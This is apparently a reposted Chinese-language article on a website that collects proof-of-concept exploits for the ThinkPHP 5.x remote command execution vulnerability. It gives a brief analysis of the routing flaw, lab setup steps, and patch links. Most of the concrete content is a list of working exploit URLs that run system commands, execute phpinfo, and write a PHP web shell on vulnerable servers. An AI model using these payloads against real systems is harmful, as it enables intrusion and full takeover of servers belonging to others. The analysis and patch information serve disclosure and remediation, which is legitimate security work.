ThinkPHP5框架缺陷導致遠程命令執行(POC整合帖)


摘要

近日thinkphp團隊發布了版本更新https://blog.thinkphp.cn/869075 ,其中修復了一處getshell漏洞。

影響范圍

5.x < 5.1.31
<= 5.0.23

危害

遠程代碼執行

漏洞分析

以下漏洞分析源於斗魚SRC公眾號:斗魚安全應急響應中心
分析補丁:802f284bec821a608e7543d91126abc5901b2815
路由信息中controller的部分進行了過濾,可知問題出現在路由調度時。

以5.1.23版本進行分析,執行路由調度的代碼如下:

其中使用了$this->app->controller方法來實例化控制器,然后調用實例中的方法。跟進controller方法:

其中通過parseModuleAndClass方法解析出$module$class,然后實例化$class
rseModuleAndClass方法中,當$name以反斜線\開始時直接將其作為類名。利用命名空間的特點,如果可以控制此處的$name(即路由中的controller部分),那么就可以實例化任何一個類。
接着,我們再往回看路由解析的代碼。其中route/dispatch/Url.php:: parseUrl方法調用了route/Rule.php:: parseUrlPath來解析pathinfo中的路由信息

代碼比較簡單,就是使用/對$url進行分割,未進行任何過濾。
其中的路由url從Request::path()中獲取

由於var_pathinfo的默認配置為s,我們可利用$_GET['s']來傳遞路由信息,也可利用pathinfo來傳遞,但測試時windows環境下會將$_SERVER['pathinfo']中的\替換為/
結合前面分析可得初步利用代碼如下:index.php?s=index/\namespace\class/method,這將會實例化\namespace\class類並執行method方法。
然而利用過程中會存在一些限制,部分類在實例化時由於缺少參數而報錯。
經過一番尋找,在\think\Request類中找到可以利用的方法input。以下為執行phpinfo

環境搭建

TP5.0.*

直接從官網下載完整包解壓到www(網站根目錄)目錄即可,URL指向public目錄(如:http://localhost/TP5.0.22/public/ )

TP5.1.*

官方不再提供完整版下載,筆者從composer下載最新版后與官方GitHub進行了對比,發現以下幾個倉庫
Framework
think
think-installer
發現framework倉庫就是完整版中的thinkphp目錄


think倉庫是thinkphp的主架構
think-installer對應路徑為path\to\thinkphp\vendor\topthink\think-installer
那么整合下就好了
最終目錄架構

訪問下

POC

TP版本5.0.21:

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP版本5.0.22:

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.1.*

thinkphp5.1.29為例

1、代碼執行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

2、命令執行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系統命令

3、文件寫入(寫shell):
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

4、未知:
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

5、代碼執行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、命令執行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令

7、代碼執行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8、命令執行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令

修復方案

官方現已推出補丁 建議開發者進行修復

Thinkphp v5.0.x補丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x補丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM